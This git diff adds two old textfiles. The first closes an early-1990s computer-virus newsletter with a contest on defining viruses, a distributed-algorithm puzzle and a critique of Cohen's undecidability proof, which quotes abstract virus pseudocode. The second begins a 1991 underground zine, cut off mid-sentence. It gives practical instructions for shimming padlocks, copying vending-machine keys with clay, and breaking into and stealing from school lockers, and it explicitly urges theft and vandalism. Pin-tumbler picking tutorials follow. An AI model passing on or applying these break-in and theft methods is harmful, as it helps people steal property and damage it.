- useless +2 - has serious problems +3 - must be improved +4 - good enough +5 - very good +6 - excellent + + +Results in category 1.: Technical definition in plain language +---------------------------------------------------------------------------- + +1. Author: William Walker Submitted by: author Source: Contest posting + +[ ENGLISH LANGUAGE DEFINITION OF A COMPUTER VIRUS + + A "COMPUTER VIRUS" is a sequence (or set of sequences) of symbols + which, when executed or interpreted under certain conditions or in + certain environments, will make a possibly altered, functionally + similar copy of this sequence (or set of sequences) and will place + this copy where it will intercept execution or interpretation at a + later time under certain conditions. This is called "REPLICATION," + and the copy retains AT LEAST the capability to recursively + replicate further. A virus may also have an additional function (or + functions) not related to replication, sometimes called a "payload," + but this is NOT necessary for something to be a virus. ] + +Comments on the above definition: + +1. This definition is not tied to any specific machine or operating +system. The phrase "sequence of symbols" is used rather than "sequence +of instructions" or "program" to help keep the definition as generic as +possible. + +2. A computer virus may not be restricted to a single sequence of +symbols, but may consist of two or more sequences that individually do +not constitute a virus, but working together satisfy the criteria of +being a virus. + +3. The phrase "intercept execution or interpretation" refers to the +fact that a computer virus must somehow be placed on a host machine where +it will be executed or interpreted in order to survive. This is done by +forcing the host machine to execute or interpret the virus before, +during, after, or instead of some other sequence of symbols on that +system; in other words, "intercept execution or interpretation." + +4. "Replication" (or "spreading"), as defined above, is the key point +in defining a computer virus. A sequence of symbols which does not +replicate cannot be a virus. Likewise, every virus must replicate, or it +is not a virus. On the other hand, the inclusion of a "payload" +is not essential for something to be a computer virus. + +Jury's decision : 4 (good enough) + +----------------------------------------------------------------------------- + +2. Author : Vesselin Bontchev Submitted by : Suzana Stojakovic-Celustka + Source : e-mail conversation + +[ A computer virus is a sequence of symbols, which, when interpreted by +computer, attaches itself to other computer interpretable symbol +sequences in such a way that they become able to recursively spread +the (possibly modified) initial sequence further. ] + +Additional explanations of used terms: + +"Infection" is the process of attaching a computer virus to other computer +interpretable symbol sequences. +"Attaching" means that the interpretation of the infected symbol sequences +causes the interpretation of (possibly part of) the computer virus. +"Interpretable" is anything that a computer can interpret. +"Able to spread recursively" means when a virus infects an executable object, +this object is able to spread virus to another object, which in turn is able +to cause the infection of another object and so on. + +Jury's decision : 3 (must be improved) + +-------------------------------------------------------------------------- + +3. Author: Fred Cohen Submitted by: Suzana Stojakovic-Celustka + Source: Article "Computational Aspects of Computer Viruses", Computers & + Security, 8 (1989.), pp 325-344 + +[ We informally define a "computer virus" as a program that can "infect" +other programs by modifying them to include a, possibly evolved, copy of +itself. With the infection property, a virus can spread throughout a computer +system or network using the authorizations of every user using it to infect +their programs. Every program that gets infected may also act as a virus and +thus the infection spreads. ] + +Jury's decision : 3 (must be improved) + +----------------------------------------------------------------------------- + +4. Author: Greg Hale Submitted by: author Source: Contest posting + +[ For a program to qualify as computer virus, the program must meet two +qualifications: +1. The virus must replicate itself and all subsequent reproductions +(exempting unsuccessful infections) must be able to replicate. +2. The virus must execute by replacing or redirecting the user's +request for the computer to start the normal operating system or +execute a familiar program. ] + +Jury's decision : 3 (must be improved) + +----------------------------------------------------------------------------- + +5. Author: Roberto Reymond Submitted by: author Source : Contest posting + +[ A set of instructions that, once executed or interpreted, gains the control +of the environment. +That done, those instructions will, in specific circumstances, make at least +one copy of the initial set, identical or modified, placing it/them somewhere +in the environment, with the intention that, if and when executed or +interpreted, it/they will repeat at least one time the above cycle. ] + +Additional explanation of terms: + +Environment: it means the whole system, that is the combination of all the + hardware (fixed and removable) and the software presents at the + moment of the virus actions. + +Jury's decision : 3 (must be improved) + +----------------------------------------------------------------------------- + +6. Author : Fred Cohen Submitted by : author Source : Contest posting + +[ A program that reproduces.] + +Jury's decision : 2 (has serious problems) + +----------------------------------------------------------------------------- + +Results in category 2. : Mathematical technical definition + +----------------------------------------------------------------------------- + +1. Author: Fred Cohen Submitted by: Vesselin Bontchev Source: Short article + "Formal Definition" written by Vesselin Bontchev, based on private + discussion with the author + + (The contribution is not presented here, because of mathematical symbols). + +As in this category were no other contributions, this one was considered as +a winner without jury's voting. + + +Editor's note: +-------------- + +Either the jury was too severe or plain language is not suitable to define +computer virus properly. The winning definition is evaluated as "good enough" +only. The others must be improved. However, it seems that the key point in +defining a computer virus is a "replication" (as stated by W. Walker). +Personally, I found comment 2. in W. Walker's definition very interesting for +possible future development of computer viruses. + + +***^^***^^***^^***^^***^^***^^***^^***^^***^^***^^***^^***^^***^^***^^*** + + + "A virus is a virus!" + +- Nobel laureate Andre Lwoff's answer on the question "What is a virus?" + (1959.) - + + +***^^***^^***^^***^^***^^***^^***^^***^^***^^***^^***^^***^^***^^***^^*** + + +3. Puzzle - is this piece of pseudo(code) a sign of "life" ? +============================================================= + +I was wondering if Misra's algorithm for regenerating token in logical +ring could be considered as a sign of "life". Help me to solve this puzzle! + +Some explanations: +------------------ + +Distributed algorithm - it has two basic elements: the processes that + receive, manipulate, transform and output data and + the links along which these data flow and which form + a network having both structural and dynamic + properties. + +Ring - each process is aware of its two immediate neighbours, called for the + convenience the left and right neighbour respectively. + +Token - special message which the processes hand from one to another around + the ring. + + +The method uses two tokens, each of which serves to detect the possible +loss of the other, by this means: a token T1 arriving at the process Pi +can guarantee that the other token T2 has been lost - and can therefore +regenerate it - if neither it nor Pi has encountered T2 since T1's last +passage through Pi. + +The loss of a token is detected by the other in one passage round the +ring; and the algorithm works only when one token having been lost, the +other makes a complete turn round the ring without itself being lost. + + +The algorithm: +-------------- + +Let us call the tokens Ping and Pong, and with these associate numbers +NPing and NPong, equal in absolute value but opposite in sign, that record +the number of times the tokens have met; these numbers are therefore +related by the constraint: + +NPing + NPong = 0 + +Initially the two tokens are both in an arbitrarily chosen process and the +values are: + +NPing = 1, NPong = -1 + +Each process Pi carries an integer variable Mi, initialized to 0, that +records the number, NPing or NPong, associated with the token that last +passed through Pi. The behaviour of Pi is as follows: + +when received Ping(NPing) do + if M = NPing {Pong is lost, regenerate it} + then + begin + NPing:=NPing + 1; + NPong:=-NPing + end + else + M:=NPing + +when received Pong(NPong) do + if M = NPong {Ping is lost, regenerate it} + then + begin + NPong:=NPong - 1; + NPing:=-NPong + end + else + M:=Npong + +when meeting (Ping, Pong) do {Meeting Ping and Pong} + begin + NPing:=NPing + 1; + NPong:=NPong - 1 + end + +In practical realization of algorithm numbers NPing and NPong should be +limited by modulo P where P > or = N+1 (number of processes in logical ring ++ 1). + +Literature: +----------- + +1. Janacek J., Distributed systems, 1993., Vydavatelstvi CVUT, (in Czech) +2. Raynal M., Distributed Algorithms and Protocols, 1988., John Wiley & Sons + + +Editor's hypothesis: +-------------------- + +Consider that each process itself is "alive" by consuming, transforming and +extracting data as a "food". Then regeneration of token(s) is necessary for +its "life-time" and above algorithm is vital to keep a process "alive". Here +we have the following signs of "life": "metabolism", ability to produce new +"living" entities (tokens which help in their reproduction themselves) and +ability to communicate with "neighbours". + + +/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*= + + Ikite iru Simply alive + bakari zo ware to me - + keshi no hana and poppy-flower + + - Issa - + +/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*=/\=*= + +4. Article: +=========== + + + A COMMENT ON COHEN'S THEOREM ABOUT + UNDECIDABILITY OF VIRAL DETECTION + + Dr Franz X. Steinparz + Johannes Kepler University, Linz + October, 1991. + + +Abstract: + +This paper shows that Cohen's Theorem, stating the undecidability of viral +detection does not hold. It is shown that each algorithm discerning a virus +from other program by examining its code must be a virus itself. + +Keywords: computer viruses + +Introduction: + +In [2] Cohen introduces Computer Viruses and summarizes some work he did on +this topic. Aside other results of his work, he gives a rather informal +definition of Computer Viruses and the proof of his well known theorem +stating that a program discerning a virus from any other program by examining +its appearance is infeasible. In [1] Burger expressed his doubt about this +theorem. However, to our knowledge, no fault in Cohen's proof has been +published, and in discussions about viruses, the theorem is widely ( [3], +[4], [5] and others) referred to. + +Cohen's Theorem: + +In Section 2 of [2] Cohen defines: + +"..a computer virus as a program that can 'infect' other programs by +modifying them to include a possibly evolved copy of itself." + +In Section 4.1. of [2] Cohen states the undecidability of viral detection. +His proof follows a well known proof technique. He argues: + +"In order to determine that a given program 'P' is a virus, it must be +determined that P infects other programs. This is undecidable since P could +invoke any proposed decision procedure 'D' and infect other programs if and +only if D determines that P is not a virus. We conclude that a program that +precisely discerns a virus from any other program by examining its appearance +is infeasible. In the following ... program ..., we use the hypothetical +decision procedure D which returns "true" if its argument is a virus to +exemplify the undecidability of viral detection. +....., we have assured that, if the decision procedure D determines (the +following program contradictory-virus) CV to be a virus, CV will not infect +other programs and thus will not act as a virus. If D determines that CV is +not a virus, CV will infect other programs and thus be a virus. Therefore, +the hypothetical decision procedure D is self contradictory, and precise +determination of a virus by its appearance is undecidable. + +program contradictory-virus := +{.... +main-program := + {if D(contradictory-virus) then + {infect-executable; + if trigger-pulled then + do-damage; + + } + goto next; + } + +} + +Fig..Contradiction of decidability of a virus.." + + +Discussion: + +First, we notice an inaccuracy in Cohen's paper in defining a virus as a +program, which -can- infect other programs and using this term in his proof +for a program which actually -does- it. However, this inaccuracy can be +corrected by adjusting the definition. + +But even if we adjust the definition, the proof in its generality is wrong: +It is based on the implicit assumption that the decision procedure D is not +a virus itself. + +Suppose the decision procedure D is a virus itself. Then contradictory-virus +infects an executable by calling D and consequently is a virus too. Now D, +when deciding that contradictory-virus is a virus, gives a correct result +even if contradictory-virus, based on D's decision does not execute its own +viral code. + +However, under the restriction, that only non-virus decision procedures are +permitted, Cohen's proof holds. Consequently, each decision procedure D must +be a virus. + +References: + +[1] R. Burger: Das Grosse Computer-Viren Buch, ISBN 3-89011-200-5, DATA + BECKER, Duesseldorf, 1987. + +[2] F. Cohen: Computer Viruses Theory and Experiments, Computers & Security + 6 (1987) pp 22-35, North-Holland, 1987. + +[3] G. Futschek: Computerviren fuer LOGO Programme Bauanleitung, + Wirkungsweise und Abwehrmechanismen, interner Bericht, + Technische Universitat Wien, 1988. + +[4] F. Hoffmeister: Sicherheitsrisken durch Computerviren - erste + Losungansatze, Bericht Nr. 232 der Abteilung Informatik + der Universitat Dortmund, Dortmund, 1987. + +[5] C.A. Neumann: Computerviren und verwandte Anomalien, GI Symposium "PC's + in kleineren und mittleren Unternehmungen", Leipzig 17-19 + September 1991., Tagungsbad der Fachgruppe 2.0.1. Personal + Computing der GI, 1991. + + + + +(:)**(:)**(:)**(:)**(:)**(:)**(:)**(:)**(:)**(:)**(:)**(:)**(:)**(:)**(:)** + + The Virus Syllogism: + + Computers are made to run programs. + Computer viruses are computer programs. + Therefore, computers are made to run computer viruses. + + - Peter S. Tippett - + +(:)**(:)**(:)**(:)**(:)**(:)**(:)**(:)**(:)**(:)**(:)**(:)**(:)**(:)**(:)** \ No newline at end of file diff --git a/textfiles.com/magazines/MISC/alliance b/textfiles.com/magazines/MISC/alliance new file mode 100644 index 00000000..c16020bf --- /dev/null +++ b/textfiles.com/magazines/MISC/alliance @@ -0,0 +1,2278 @@ +\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ +| O | | O | +| O | ==> The Alliance Productions [ZAN] <== | O | +| O | ==> Monthly Publication <== | O | +| O | of | O | +| O | /vvvvvvvvvvvvvvvvvvvvvvvvvvvvv\ | O | +| O | |The Guide to a Better Society| | O | +| O | \^^^^^^^^^^^^^^^^^^^^^^^^^^^^^/ | O | +| O | | O | +| O | Vol. #1 | O | +| O | Issue #1 | O | +| O | August 1991 | O | +| O | | O | +| O | Compliments of The Villa Straylight | O | +| O | The Alliance Publications [ZAN] Origin | O | +| O | | O | +| O | -407- 297.1180 | O | +| O | 3oo, 12oo, 24oo | O | +| O | | O | +| O | Editor in Chief: Wintermute | O | +| O | CoEditors: The Alliance Productions/ZAN Members | O | +| O | | O | +\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + + + Welcome to the Premier Issue of "Guide To A Better Society" I am Wintermute, +head of The Alliance Productions and [ZAN] member. The purpose of "Guide To A +Better Society" is to spread information on "How To Improve Your Lifestyle Via +Breaking The `Law'". Some of us over here are members of The Illuminati, so +the more radical ideas will be taken by them. But we at Zhit Axis Nation hope +you enjoy this and future editions of our newsletter. + + Editor-in-Chief + Wintermute + + (c) The Alliance Productions 1991 + (c) Zhit Axis Nation 1991 + +=============================================================================== + + + Table of Contents + + I.> Introduction to Editor. + II.> Lock Picking Tips + III.> Radio Hacking/Satelite Hacking + IV.> Hacking Quiz. How do you rank? + V.> Introduction to PBX's + VI.> Storytime: CyberPUNK Literature + VII.> Appendix + + +=============================================================================== + +I.> Introduction to Editor + + Hello to all of you out there! I am Wintermute of The Villa Straylight. +As me being the editor, it's my job to make sure this newsletter get put +together correctly. So if there are any problems, or you have comments, +please address them to me. I can be reached via WWIVnet, at 1@4703. So +E-mail user 1@4703 and you'll get me. + + Well, let me tell you little about myself. I am an avid Hacker and Phreak. +Cracking is kinda new to me, so i stick to the old ways of doing things. I +have been hacking my way in systems for a little under 2 years now. I've seen +some changes in the way things get set up, but I've managed to stay on top. +Here's some stats on me if you're interested: + + Real Name: Mike something or other... + Age: 16 (don't laugh!) + Occupation: Hazard to my school! Looking for a job as a programmer. + Residence: Beautiful Orlando, FL (not! Too many tourists) + Marital Status: 3-4 times a day. he he. + Other: 5'9". Brown hair, brown eyes, bleah.... + + OK that just about does it. I'm humiliating myself enough. + +<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + +II.> Lock Picking Tips + + + Picking Combination Locks + + + The writer of this text file takes responsibility for what + this text file is used for. Hopefully it will only be used for + illegal purposes cuz i can't think of a reason it can be used for + legally. Well, on with the text file. + + + Ok, so ya say ya wanna learn how to pick combination locks...This text +file should help you. As a matter of fact, if ya do it right, it will help +you. First of all, let me tell you about the set-up of a lock. When the lock +is locked, there is a curved piece of metal wedged inside the little notch +on the horseshoe shaped bar that is pushed in to the lock when you lock it. +To free this wedge, you must(must is a word used to much) you usually(that +sounds much better) have to turn the lock to the desired combination and the +pressure on the wedge is released therefore letting the lock open. I will now +tell you how to make a pick so you can open a lock without having to waste +all that time turning the combination (this also helps when ya don't know the +combination to begin with). First of all, ya need to find a hairpin. What's a +hairpin? Well, just ask your mom. She will have one. If she asks what its +for, say ya gotta hold something together... If she says use a rubberband or +use a paperclip, tell her to fuck off and die and then go to the store and rip +off a box of 50 or so. Ok, enough stalling (yea, i was stalling). Once you +have your hair pin (make sure its metal), take the ridged side and break it off +right before it starts to make a U-turn onto the straight side. The curved part +can now be used as a handle. Now, using a file, file down the other end +until it is fairly thin. You should do this to many hairpins and file them +so they are of different thicknesses so you can pick various locks. Some locks +are so cheap that ya don't even have ta file! But most are not. Ok, now you +have a lock pick. Now if ya haven't figured it out, here's how ya use it. +You look at a lock to see which side the lock opens from. If you can't tell, +you will just have to try both sides. When ya find out what side it opens from, +take the lock pick and stick the filed end into the inside of the horseshoe- +shaped bar on whichever side the lock opens from. Now, put pressure on the +handle of the lock pick (pushing down, into the crack) and pull the lock up and +down. The lock will then open because the pick separated the wedge and the +notch allowing us thieves to open it. Don't say bullshit until you've tried it. + +because i have gotten lots of beer money from doin' this to fellow students' +gym lockers. Also, this technique works best on American locks. I have never +picked a Master lock before because of the shape a pressure of the wedge but +if anyone does it, let me know how long it took. Also, the Master lock casing +is very tight so ya can't get the pick in. So, if you're locking something +valuable up, use a Master, cuz at least ya know I won't be picking it and I'm +sure there aren't that many that could. And when i say pick, i don't mean +lighting a stick of dynamite next to the lock, picking is opening a lock without +using force, making a substitute key, etc... + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +Operation: VENDING MACHINE KEYS +By: Wintermute +Source: TAP Magazine + +Here's how to do it: + +On almost all vending machines they have those damn round almost unpickable +locks on them so: + +When no one is looking quickly press a piece of AIR-HARDENING clay into the +lock. (Press hard enough to get a good impression.) + +Remove the clay carefully and let it dry for however long the clay has to dry +as specified on the package. + +You now have a key to fit that lock, (this Type of 'key' can be easily crushed +if you're seen. But if you're smart you won't though) + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +--------------------------+ + ! Locker Docs ! + ! ! + ! Complete documentaion to ! + ! your school locker ! + ! ! + +--------------------------+ + +Before we start, if you are friends with counselors that let you borrow +their keys, steal the master for all the lockers in your school. You may +now ignore the rest of this file. + +:=> What You Need + 3/8" Hex Driver + Adjustable Wrench(es) + Needlenose Pliers + Moby Pliers (Vise-Grips work REAL + well!) + 6" Steel Rod or Small Crow Bar + Small Standard Screwdriver + Large Standard Screwdriver + Phillipshead Screwdriver + Moderate Size Claw Hammer + +:=> Taking Over + At the beginning of each school year, there are a good deal of unused +lockers around the school. If one of these is near your next class, slap a +padlock on it; we'll get into putting a school lock on it later... + Every school has at least one designated "Garbage Locker". Find it +(them), they can be used to your advantage! + If a locker you want already has an owner, no problem! Read the next +section for more information... + If you have a large suppy of padlocks (which every locker +destroyer has!), be sure to put them on the ones that you want so you'll +have it later when we go to put a school-issued lock on it later. + +:=> Getting In + Now the real challenge begins! The hardest part of all of this is +getting in the thing in the first place! But it's easy if you know the +tricks of the trade: +> Padlocks (Combination or Key) + Here's where we get to use the crow bar! Slip it between the lock and the +latch on the locker, while going between the two rods of the shank. +Apply serious downward force. This takes 'em off so disgustingly easily. +it's not fair! As a matter of fact, we can rip Master key locks off with +a crummy hex driver! + +> Destroying the Thing + If you are so pissed as to rip the lock off and take over by force, be +sure this is your last resort! You leave little marks on the paint, but +a cheap can of canary yellow or what ever color you loker may be will take +care of that. Get the crowbar again. One end should fit between the dial +and the door. If not, pry it open a little with one of the screwdrivers. +Rip the dial off without mercy. The lock itself will fall inside the locker +after the bolts snap and will be free for opening! If you can get a +new dial for the lock you ripped off, try to get it on so you have another +usable lock. + +> Going Through The Combination + Getting in this way is rare, but welcomed. Spend an afternoon +wandering the halls looking at the walls, ledges, doors, around a +lockers wherever a combination can be written without being easily seen. If +you find one, try it out-CAREFULLY! Once you get one that works, steal +it! + +> Pennied Lockers + Now we're talking REALLY rare! But these are real easy to spot. Walk +around looking at the latch. If it is sticking up a mile higher than the +others, give it a tug. Some of them stick that high naturally or if the +locker is over-filled, so watch for those. + +:=> Once You're In + All right, you FINALLY got the locker open and the lock is intact. +Look around. Steal anything of value. Now, let's get the lock, ok? See +those two nuts above and below the lock on the inside of the door? Get +the 3/8" hex driver and remove them. Now grab the dial and the lock and +pull free from the door. Try not to move the dial-it's a real pain in the +ass getting it back right! Refasten the nuts and take it to new location, +and re-install it on the new locker repeating the steps. If the dial does +not go in at first, frob with it awhile until it seats into the lock. +Congrats! You now have just taken over your first locker! + +> Ripping Out The Walls! + If you are on the right side of a wall, you can remove it with little +difficulty and get into the locker next to yours. Use the same hex driver +and unfasten the nuts holding it in. Watch out for the shelf, though! + +:=> Garbage Lockers + As mentioned above, garbage lockers can be very useful. These usually +evidant the first 2-3 months of school. They reach maturity in about 1-6 +months depending on use. The custodians come and clean and +disinfect it thoroughly, killing wahtever new forms of life you may +have developed. They then will usually put a school-owned padlock on it. +Now, scince it's clean, and you know how to get padlocks off, we say it's +ripe for picking! + You previously have been opening lockers seeing if they are worth +conquering, and how come across a trash locker. Maybe you contributed +an unwanted apple, someone's homework, etc to it. You suddenly +notice one day that the janitors have taken it over. Immediately, you +snap the lock off and you have a nice clean locker. + +:=> When To Do Your Vandalism + 1. At lunch + 2. Skip a period + 3. After school +(1) Possibly hard to do. Either no one is allowed around school or +everyone is eating at their lockers. +(2) May cause difficulties. That is, unless you are already failing that +class. +(3) This is great. Join some stupid club and then leave early everyday. +Now you have enough time to swipe a few! You could also get a job +at school with the janitors or as a techie. Now you have lots of time +when the school is empty and you have access to MORE TOOLS! + +:=> Rating Of Padlocks By Brand +> Combination + Guard- This is the cheapest piece of shit that we've ever run across! +The case is undoubtedly in two peices, and most often, there are cracks +around the edges. Now turn it over and look on the back. See those two rivets? +We took TWO of these off with a SNEAKER! + American- Okay. Getting a little harder to get off now. The shank is +'left-handed', and the dial is firmly secured. + Master- Supposedly 'top-of-the-line', but still can be removed with a little +pressure. LEAN ON THAT MOTHER! + +> Key + Master- Several million of these, no reason to break one off as of yet. + Sears- One peice case, gave us a little trouble to take off with +our hex driver. + +:=> Glossary Of Most-Used Terms + +Padlock- any self-comtained removable lock characterized by a steel shank. +Usually requires key or combination to open. + +Dial- Circular unit found on the outside of a school locker used to +dial the combination. + +Lock- The unit mounted inside the locker that prevents the latch from +moving when the combination has not been dialed. + +Shank- Steel semicircle on a padlock that will lock when pushed into the +case of a padlock. + +Latch- Waht you push, pull or twist to get a locker open. + +Door- Hinged wall on a locker. Most of the time, the only way into a +locker. + +Locker- Aluminum cubicle used for dumping books, freshman, or gym +clothes in. + +Master- Company know for making cheap locks that can be easily opened with +a dinky-ass screw driver or the key that opens a given set of locks. + +Plate[1]- Metal sheet with a number stamped on it used for identifying +lockers. + +Plate[2]- A peice of metal that covers the hole in the door where the dial +goes if one is not present. + +Wall- Removable surface inside locker. + +Shelf- A sheet of wood cut to the shape and dimensions so that it fits snug +inside a locker. + + +We would like to dedicate this article to those of us who got busted while +this was being compiled. For those of you to follow in our footsteps, BE +CAREFUL! + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + [+][+][+][+][+][+][+][+][+][+][+][+][+] + [+] [+] + [+] L O C K P I C K I N G [+] + [+] [+] + [+][+][+][+][+][+][+][+][+][+][+][+][+] + + +This tutorial will demonstrate how to "pick" a pin tumbler lock. Use of this +material is for locksmiths only, any use of this information for illegal +purposes is forbidden and against the law. (as long as we are at it, do you +want to buy some land in Florida?) + +In order to pick a pin tumbler lock, you will require four items: a lock, +you, a pick, and a tension wrench. you can ussually get these at a locksmith +store, if you can not find one near you there will be an address at the end of +the article that you can order them from. Here is an illustration of a pick +and a tension wrench: + + ________/ !________ + pick tension wrench + +Most people know of the need for the pick, but have no idea what the wrench +is for. It is very important and without it it would be impossible to pick +a lock. + +In order to pick a lock, we must count upon the imperfection of the lock. +Before we look at how to actually pick the lock, we will look at the parts of +it and how the imperfection part fits in. Here is a dissassembled lock: + + / / / / + \ \ \ \ + springs -> / / / / + \ \ \ \ + _ _ _ _ + ! ! ! ! ! ! ! ! + ! ! ! ! ! ! ! ! + drivers ->! ! ! ! ! ! ! ! + !_! !_! !_! !_! + + _ _ + ! ! _ ! ! + bottom pins ->! ! ! ! _ ! ! + ! ! ! ! ! ! ! ! + \_/ \_/ \_/ \_/ + + _____________________ + ! : : : : : : : : ! + housing ->! : : : : : : : : ! + ! : : : : : : : : ! + !___: :_: :_: :_: :___! + ! : : : : : : : : ! + plug ->! : : : : : : : : ! + !______________________! + ! ! + ! ! + ! ! + !_____________________! + + + ___ + / \ + ! !__ _ _ + ! \__ / \_/ \__ + ! \/ \ + \__/------------------- <- key + + +When you insert a key into a lock, the bottem pins are pushed up, and if it +is the proper key, the tops of the bottom pins will match with the spot +where the plug and housing meet, thus allowing you to turn the plug, and open +the door, etc.. When you inser the key, the bottom pins go into the valleys of +the key, thus meaning that the key must have the right height valleys to make +the lock open. Pretty elementry, right? Well now we can move on to how to pick +a lock. + +In order to pick a lock we (as i said before) depend on the inaccuracy of the +manufacturing process. The first thing to do is to insert the tension wrench +into the lock and apply a slight pressure to the left (or right if you +wish) so that if you could look inside the lock at where the plug and the +housing would meet, it would look like this: + + ! !*! ! + housing ! !*! ! + ! !*! ! + __________! !*! !___________ + __________ !*! ____________ + ! !*!! + plug ! !_!! + ! _ ! + ! !*!! + ! \_/! + +Now a slight presure is on the pins. Because the pins can not be produced +exactly the same, there is one pin which is the widest and there fore has +more tension on it, and one which is the thinnest and has almost no pressure +on it. We now use the pick to >gently< push each pin up (and try to feel it +when you let it down) until we find which is the tightest on and which is +loosest. Getting the feel for this is the hardest part of lock picking. Now +that you have found the loosest one, gently press it upward until you feel +a slight reduction in tension on the tension wrench. This will happen when +the top of the bottom pin becomes even with the junction of the plug and +the housing. DO NOT RELEASE ANY TENSION FROM THE WRENCH NOW! The driver will +now be trapped in the housing as illustrated here: (don't I draw pretty) + + ! !*! ! + housing ! !*! ! + ! !*! ! + ___________! !_! !___________ + _______________ ___________ + ! !*! ! + plug ! !*! ! + ! \_/ ! + ! ! + +Now you continue this process with each of the pins until you work your way up +to the one that is widest. With some practice you can get fairly fast at +this. I suggest practicing on a four pin tumbler lock that is bought from a +hardware store, the cheaper the better. + +I would like to discuss a paticular configuration of the pins now that may +present a particularly hard job to pick. This is graphicly shown here by +the two middle pins: + + !*! !*! !*! !*! + !*! !*! !_! !*! + !*! !*! _ !*! + !_! !*! !*! !_! + _ !*! !*! _ + !*! !*! !*! !*! + !*! !_! !*! !*! + !*! _ !*! !*! + !*! !*! !*! !*! + \_/ \_/ \_/ \_/ + + \_______________ + +When you try to push the 2nd pin from +the left up, you will unavoidably be +pushing the one in front of it up be- +cause of it's long bottom pin. the only +solution for this is to get a special +pick that looks like this: + + \ + \ _______________ + \_/ + +The major problem with this is that it is hard to initially detect. The reason +that it makes it harder if it is not immedietly apperant is that you un- +avoidably push the 3rd pin from the left up into the housing, getting it +jammed: + + ! !*! ! + housing ! !_! ! + ! _ ! + ! !*! ! + __________! !*! !________ + ___________ !*! ________ + !!*!! + plug !!*!! + !\_/! + + +I would also like to address a technique called raking. it uses a +tool like this: + + \/\/\/\___________ + +Basicly you "rake" it back and forth across the pins, hoping that combined +with the tension it will give you the right combination. This way has been +known to work fast sometimes, but is not very reliable, and I would suggest +learning to actually "pick" the lock. + +Earlier I promised an address to order locksmithing materials from, so here it +is: + + GARRISON PROTECTIVE ELECTRONICS + BOX 128 + KEW GARDENS, NEW YORK, 11415 + +sources: personal practice and many excellent books from mentor press, if +you would like their catalog, send a SASE to: + + THE INTELLIGENCE LIBRARY + MENTOR PULICATIONS + 135-53 NORTHERN BLVD. + FLUSHING, NY 11354 + +and ask for any information available on THE INTELLIGENCE LIBRARY. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + ]]]]]]]]]]#[[[[[[[[[[ + ]] LOCK PICKING [[ + ]] BY [[ + ]] ^^^NIGHTWING^^^ [[ + ]]]]]]]]]]#[[[[[[[[[[ + +SO YOU WANT TO BE A CRIMINAL. WELL, IF YOU ARE WANTING TO BE LIKE JAMES BOND + AND OPEN A LOCK IN FIFTEEN SECONDS, GO TO HOLLYWOOD BECAUSE THAT'S THE ONLY + PLACE YOUR GONNA DO IT. EVEN EXPERIENCED LOCKSMITHS CAN SPEND 5 TO 10 MINUTES + ON A LOCK IF THEY'RE UNLUCKY. IF YOU ARE LOOKING FOR EXTREMELY QUICK ACCESS, + LOOK ELSEWHERE. + THE FOLLOWING INSTRUCTIONS WILL PERTAIN MOSTLY TO THE "LOCK-IN-KNOB" TYPE + LOCK, SINCE IT IS THE EASIEST TO PICK. IF THERE IS SUFFICIENT DEMAND, I WILL + LATER WRITE A FILE DISCUSSING THE OTHER FORMS OF ENTRANCE, INCLUDING DEAD-BOLT + +FIRST OF ALL, YOU NEED A PICK SET. IF YOU KNOW A LOCKSMITH, GET HIM TO MAKE YOU + A SET. THIS WILL BE THE BEST POSSIBLE SET FOR YOU TO USE. IF YOU FIND A + LOCKSMITH WILLING TO SUPPLY A SET, DON'T GIVE UP HOPE. IT IS POSSIBLE TO MAKE + YOUR OWN, IF YOU HAVE ACCESS TO A GRINDER (YOU CAN USE A FILE, BUT IT TAKES + FOREVER.) + +THE THING YOU NEED IS AN ALLEN WRENCH SET (VERY SMALL). THESE SHOULD BE SMALL + ENOUGH TO FIT INTO THE KEYHOLE SLOT. NOW, BEND THE LONG END OF THE ALLEN + WRENCH AT A SLIGHT ANGLE..(NOT 90 DEG.) IT SHOULD LOOK SOMETHING LIKE THIS: + + #1 + \\ + \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\s\\\\\\\ (THIS IS THE HANDLE + \\\ THAT WAS ALREADY + \\\ (HERE.) + \\\ + \\\ + \\\ + +NOW, TAKE YOUR PICK TO A GRINDER OR A FILE AND SMOOTH THE END (#1) UNTIL IT'S + ROUNDED SO IT WON'T HANG INSIDE THE LOCK. TEST YOUR TOOL OUT ON DOORKNOBS AT +YOUR HOUSE TO SEE IF IT WILL SLIDE IN AND OUT SMOOTHLY. + NOW, THIS IS WHERE THE SCREWDRIVER COMES IN. IS IT SMALL ENOUGH FOR IT AND +YOUR PICK TO BE USED IN THE SAME LOCK AT THE SAME TIME, ONE ABOVE THE OTHER ? +LETS HOPE SO, BECAUSE THAT'S THE ONLY WAY YOUR GONNA OPEN IT. + +IN THE COMING INSTRUCTIONS, PLEASE REFER TO THIS CHART OF THE INTERIOR OF A +LOCK: + +XXXXXXXXXXXXXXXXXXXXXXX| K + # # # # # # | E + # # # # | Y + * * | sH + * * * * * * | O + | L + | E +XXXXXXXXXXXXXXXXXXXXXXX| + +#= UPPER TUMLER PIN +*= LOWER TUMLER PIN +X= CYLINDER WALL + +(THIS IS A GREATLY SIMPLIFIED DRAWING) + +THE OBJECT IS TO PRESS THE PIN UP SO THAT THE SPAsCE BETWEEN THE UPPER PIN AND + THE LOWER PIN IS LEVEL WITH THE CYLINDER WALL. NOW, IF YOU PUSH A PIN UP, ITS + TENDANCY IS TO FALL BACK DOWN, RIGHT ? THAT IS WHERE THE SCREWDRIVER COMES IN. + INSERT THE SCREWDRIVER INTO THE SLOT AND TURN. THIS TENSION WILL KEEP THE + "SOLVED" PINS FROM FALLING BACK DOWN. NOW, WORK FROM THE BACK OF THE LOCK TO + THE FRONT, AND WHEN 